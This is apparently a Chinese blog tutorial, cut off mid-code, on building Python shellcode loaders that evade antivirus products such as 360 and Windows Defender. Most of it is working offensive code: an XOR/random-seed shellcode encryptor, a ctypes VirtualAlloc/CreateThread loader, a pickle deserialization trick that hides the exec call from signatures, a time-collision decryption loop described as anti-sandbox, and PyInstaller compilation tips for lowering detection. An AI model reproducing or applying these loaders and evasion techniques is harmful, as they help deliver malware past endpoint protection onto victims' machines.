1 前言2 效果图3 前置知识4 制作免杀5 源码下载6 加载器下载
01
前言
Python 实现VT全免杀,可以说静态免杀拉满了,过360动态免杀,火绒没有测试,不过火绒和360半斤八两就是了,windows denfender过静态,动态gg。这几天研究了几天Python免杀过windows denfender,网上能找到的方法基本都试了,还是没有过动态windows denfender免杀,期间试了花指令,exec加载+反序列化,exec分块加解密加载,更换shellcode加载器换了七八种常见的和不常见的加载器(文末分享)以及动态加载windows回调api执行shellcode,都没有过动态免杀,基本都在上线几秒钟被杀。
02
效果图
这是两天前的效果图:
这是最新的效果图:
360:
03
前置知识
python免杀比C++免杀难得多,很多杀毒不管三七二一直接将python打包的exe列为恶意文件。因此python免杀要从shellcode加解密、shellcode加载器、编译和签名四个方面下手。
shellcode加解密使用改写成python版的自定义的异或随机值加解密:
import random
def decrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
output[i] = output[i] ^ key
return output
def encrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ key
output[i] = output[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
return output
if __name__ == '__main__':
input_content = b'shellcode'
key = 156
# 加密文本使用:input_content.encode('utf-8')
encrypted = encrypt(input_content, key)
# 解密文本使用:decrypted.decode('utf-8')
decrypted = decrypt(encrypted, key)
print("encrypted: ", end='')
for i in encrypted:
print("\\x%02x" % i, end='')
print("\ndecrypted: ", decrypted)
由于python的特性,密钥只能是1-255之间,后面还要使用随机值时间碰撞解密因此密钥最后是100-200之间。
我更换了七八种shellcode加载器,先是常见一点的shellcode加载器,后面是自己写的比较罕见shellcode加载器,都不能过windows denfender,而360不管使用什么加载器都能动态免杀,因此这里随便一点,使用最常见的创建线程加载器:
import ctypes
buf = b"shellcode"
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040) # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode))) # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1)) # 检测线程创建事件
这里采用将shellcode加载器整体使用自定义的异或随机值加密在采用一个加载器来加载,一开始将shellcode加载器整体加密后直接使用exec执行,被360动态查杀直接杀了。后面发现360的特征码是同时使用ctypes库和exec函数,ctypes库是一定要使用的,只能在exec上做文章,不能直接使用exec函数,但是可以使用pickle库将exec序列化,之后将exec序列化后的字符串再使用自定义的异或随机值加密:
import pickle
a = None
class RunOnDeserialize:
def __reduce__(self):
return (exec, ("a = exec",))
payload = pickle.dumps(RunOnDeserialize())
print(payload)
pickle.loads(payload)
print(a)
通过反序列化将exec函数赋值给a,再用a来执行shellcode加载器。
shellcode加载器的加载器:
import time
import random
import pickle
import ctypes
def decrypt(input_bytes, key):
output = bytearray(len(input_bytes))
random.seed(key)
for i in range(len(input_bytes)):
output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
output[i] = output[i] ^ key
return output
if __name__ == '__main__':
buf = b"加密的shellcode加载器"
for i in range(1, 1000):
start_time = time.time()
time.sleep(0.1)
end_time = time.time()
elapsed_time = int((end_time - start_time) * 1000)
random.seed(i)
# 随机值时间碰撞解密
key = 156 - 100 - 10 + elapsed_time + random.randint(0, 20)
decrypted = decrypt(buf, key)
if key == 156:
print('start')
a = None
# 反序列化,将a赋值为exec函数
pickle.loads(decrypt(b"\x3c\x83\x19\xaf\x96\x93\x97\x95\xb8\x81\x85\x06\x9e\xf8\xe3\xfc\xf1\xf5\xf6\xd1\xf5\x11\x11\xbd\xd2\xf3\xfe\xec\x10\x0b\x22\x36\x9e\xdc\xa2\xaa\xad\xfb\xe7\xe9\xfa\x0d\x13\x15\xdc\x1b\xbb", key))
# 执行shellcode加载器
a(decrypted.decode('utf-8'))
break
采用将shellcode加载器整体使用自定义的异或随机值加密的方式,用
pickle.loads
反序列化执行 "a = exec",a变成exec函数,再执行解密后的shellcode加载器。shellcode加载器解密使用前面文章将过的随机值时间碰撞解密,密钥156先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key,再用if判断前key是否等于156,相等则加载shellcode,最后break退出循环。
为什么key要先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key这么麻烦的一步?
这是为了扰乱杀软逆推出原来的shellcode,同时有反沙箱的效果。
然后到编译,使用pyinstaller编译时不要使用
-w
去除启动窗口,不然将导致报毒增多。
下面是一点冒泡排序的算法,用pyinstaller分别使用-w和不hi有-w参数编译,看看VT查杀情况:
def hua4bubble_sort(arr):
n = len(arr)
for i in range(n):
for j in range(n - i - 1):